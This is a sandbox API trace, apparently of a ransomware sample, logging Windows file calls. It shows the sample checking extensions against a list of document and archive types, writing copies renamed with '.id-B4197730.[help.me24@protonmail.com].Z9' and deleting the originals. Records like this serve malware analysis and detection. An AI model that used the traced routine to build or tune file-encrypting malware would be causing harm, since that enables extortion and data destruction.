	[0074.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.753] lstrlenW (lpString=".jpg") returned 4
	[0074.753] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.753] lstrlenW (lpString=".doc") returned 4
	[0074.753] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.753] lstrlenW (lpString=".docx") returned 5
	[0074.753] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0074.753] lstrlenW (lpString=".pdf") returned 4
	[0074.753] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.753] lstrlenW (lpString=".xls") returned 4
	[0074.753] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.753] lstrlenW (lpString=".xlsx") returned 5
	[0074.753] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0074.753] lstrlenW (lpString=".ppt") returned 4
	[0074.754] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.754] lstrlenW (lpString=".zip") returned 4
	[0074.754] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.754] lstrlenW (lpString=".rar") returned 4
	[0074.754] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.754] lstrlenW (lpString=".bz2") returned 4
	[0074.754] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.754] lstrlenW (lpString=".7z") returned 3
	[0074.754] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.754] lstrlenW (lpString=".dbf") returned 4
	[0074.754] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.754] lstrlenW (lpString=".1cd") returned 4
	[0074.754] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.754] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70
	[0074.754] lstrlenW (lpString=".jpg") returned 4
	[0074.754] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.754] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.754] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23
	[0074.754] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0074.762] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=165) returned 1
	[0074.762] CloseHandle (hObject=0x360) returned 1
	[0074.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20
	[0074.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.763] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.763] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.763] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0074.766] GetLastError () returned 0x0
	[0074.766] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xa5, lpOverlapped=0x0) returned 1
	[0074.767] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0074.768] ReadFile (in: hFile=0x358, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.768] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x102, lpOverlapped=0x0) returned 1
	[0074.768] SetEndOfFile (hFile=0x2bc) returned 1
	[0074.768] CloseHandle (hObject=0x2bc) returned 1
	[0074.769] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.769] SetEndOfFile (hFile=0x358) returned 1
	[0074.770] CloseHandle (hObject=0x358) returned 1
	[0074.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.770] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1
	[0074.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.771] lstrlenW (lpString=".doc") returned 4
	[0074.771] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.771] lstrlenW (lpString=".docx") returned 5
	[0074.771] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0074.771] lstrlenW (lpString=".pdf") returned 4
	[0074.771] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.771] lstrlenW (lpString=".xls") returned 4
	[0074.771] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.771] lstrlenW (lpString=".xlsx") returned 5
	[0074.771] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0074.771] lstrlenW (lpString=".ppt") returned 4
	[0074.771] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.771] lstrlenW (lpString=".zip") returned 4
	[0074.771] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.771] lstrlenW (lpString=".rar") returned 4
	[0074.771] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.771] lstrlenW (lpString=".bz2") returned 4
	[0074.771] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.771] lstrlenW (lpString=".7z") returned 3
	[0074.771] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.771] lstrlenW (lpString=".dbf") returned 4
	[0074.771] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.771] lstrlenW (lpString=".1cd") returned 4
	[0074.771] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.772] lstrlenW (lpString=".jpg") returned 4
	[0074.772] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.772] lstrlenW (lpString=".doc") returned 4
	[0074.772] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0074.772] lstrlenW (lpString=".docx") returned 5
	[0074.772] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0074.772] lstrlenW (lpString=".pdf") returned 4
	[0074.772] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0074.772] lstrlenW (lpString=".xls") returned 4
	[0074.772] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0074.772] lstrlenW (lpString=".xlsx") returned 5
	[0074.772] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0074.772] lstrlenW (lpString=".ppt") returned 4
	[0074.772] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0074.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.772] lstrlenW (lpString=".zip") returned 4
	[0074.772] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0074.772] lstrlenW (lpString=".rar") returned 4
	[0074.772] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0074.772] lstrlenW (lpString=".bz2") returned 4
	[0074.772] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0074.772] lstrlenW (lpString=".7z") returned 3
	[0074.772] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0074.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.772] lstrlenW (lpString=".dbf") returned 4
	[0074.772] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0074.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.772] lstrlenW (lpString=".1cd") returned 4
	[0074.772] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0074.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77
	[0074.772] lstrlenW (lpString=".jpg") returned 4
	[0074.773] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0074.773] lstrcmpiW (lpString1=".gif", lpString2=".Z9") returned -1
	[0074.773] lstrlenW (lpString="win32_LinkDrop32x32.gif") returned 23
	[0074.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.774] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=168) returned 1
	[0074.774] CloseHandle (hObject=0x364) returned 1
	[0074.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 0x20
	[0074.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0074.774] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.774] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.774] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.774] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0074.776] GetLastError () returned 0x0
	[0074.776] ReadFile (in: hFile=0x364, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xa8, lpOverlapped=0x0) returned 1
	[0074.777] WriteFile (in: hFile=0x358, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0074.778] ReadFile (in: hFile=0x364, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.778] WriteFile (in: hFile=0x358, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x102, lpOverlapped=0x0) returned 1
	[0074.778] SetEndOfFile (hFile=0x358) returned 1
	[0074.778] CloseHandle (hObject=0x358) returned 1
	[0074.779] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.779] SetEndOfFile (hFile=0x364) returned 1
	[0074.779] CloseHandle (hObject=0x364) returned 1
	[0074.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0074.780] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif")) returned 1
	[0075.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.261] lstrlenW (lpString=".doc") returned 4
	[0075.261] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.261] lstrlenW (lpString=".docx") returned 5
	[0075.261] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.295] lstrlenW (lpString=".pdf") returned 4
	[0075.295] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.295] lstrlenW (lpString=".xls") returned 4
	[0075.295] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.295] lstrlenW (lpString=".xlsx") returned 5
	[0075.295] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.295] lstrlenW (lpString=".ppt") returned 4
	[0075.295] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.296] lstrlenW (lpString=".zip") returned 4
	[0075.296] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.296] lstrlenW (lpString=".rar") returned 4
	[0075.296] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.296] lstrlenW (lpString=".bz2") returned 4
	[0075.296] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.296] lstrlenW (lpString=".7z") returned 3
	[0075.296] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.296] lstrlenW (lpString=".dbf") returned 4
	[0075.296] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.296] lstrlenW (lpString=".1cd") returned 4
	[0075.296] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.296] lstrlenW (lpString=".jpg") returned 4
	[0075.296] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.296] lstrlenW (lpString=".doc") returned 4
	[0075.296] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0075.296] lstrlenW (lpString=".docx") returned 5
	[0075.296] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1
	[0075.296] lstrlenW (lpString=".pdf") returned 4
	[0075.296] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0075.296] lstrlenW (lpString=".xls") returned 4
	[0075.296] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0075.296] lstrlenW (lpString=".xlsx") returned 5
	[0075.296] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1
	[0075.296] lstrlenW (lpString=".ppt") returned 4
	[0075.296] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0075.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.296] lstrlenW (lpString=".zip") returned 4
	[0075.296] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0075.296] lstrlenW (lpString=".rar") returned 4
	[0075.297] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0075.297] lstrlenW (lpString=".bz2") returned 4
	[0075.297] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0075.297] lstrlenW (lpString=".7z") returned 3
	[0075.297] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0075.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.297] lstrlenW (lpString=".dbf") returned 4
	[0075.297] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0075.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.297] lstrlenW (lpString=".1cd") returned 4
	[0075.297] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0075.297] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif") returned 77
	[0075.297] lstrlenW (lpString=".jpg") returned 4
	[0075.297] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0075.297] lstrcmpiW (lpString1=".XML", lpString2=".Z9") returned -1
	[0075.297] lstrlenW (lpString="SLERROR.XML") returned 11
	[0075.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0075.297] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=36336) returned 1
	[0075.297] CloseHandle (hObject=0x2bc) returned 1
	[0075.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20
	[0075.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0075.298] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.298] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.298] GetLastError () returned 0x0
	[0075.298] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x8df0, lpOverlapped=0x0) returned 1
	[0075.300] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x8e00, lpOverlapped=0x0) returned 1
	[0075.302] ReadFile (in: hFile=0x2bc, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.302] WriteFile (in: hFile=0x380, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xea, lpOverlapped=0x0) returned 1
	[0075.302] SetEndOfFile (hFile=0x380) returned 1
	[0075.302] CloseHandle (hObject=0x380) returned 1
	[0075.303] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.303] SetEndOfFile (hFile=0x2bc) returned 1
	[0075.305] CloseHandle (hObject=0x2bc) returned 1
	[0075.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0075.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1
	[0075.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.305] lstrlenW (lpString=".doc") returned 4
	[0075.305] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0075.305] lstrlenW (lpString=".docx") returned 5
	[0075.305] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1
	[0075.305] lstrlenW (lpString=".pdf") returned 4
	[0075.305] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0075.305] lstrlenW (lpString=".xls") returned 4
	[0075.305] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0075.305] lstrlenW (lpString=".xlsx") returned 5
	[0075.305] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1
	[0075.305] lstrlenW (lpString=".ppt") returned 4
	[0075.305] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0075.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.305] lstrlenW (lpString=".zip") returned 4
	[0075.306] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0075.306] lstrlenW (lpString=".rar") returned 4
	[0075.306] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString=".bz2") returned 4
	[0075.306] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString=".7z") returned 3
	[0075.306] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0075.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.306] lstrlenW (lpString=".dbf") returned 4
	[0075.306] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0075.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54
	[0075.306] lstrlenW (lpString=".1cd") returned 4
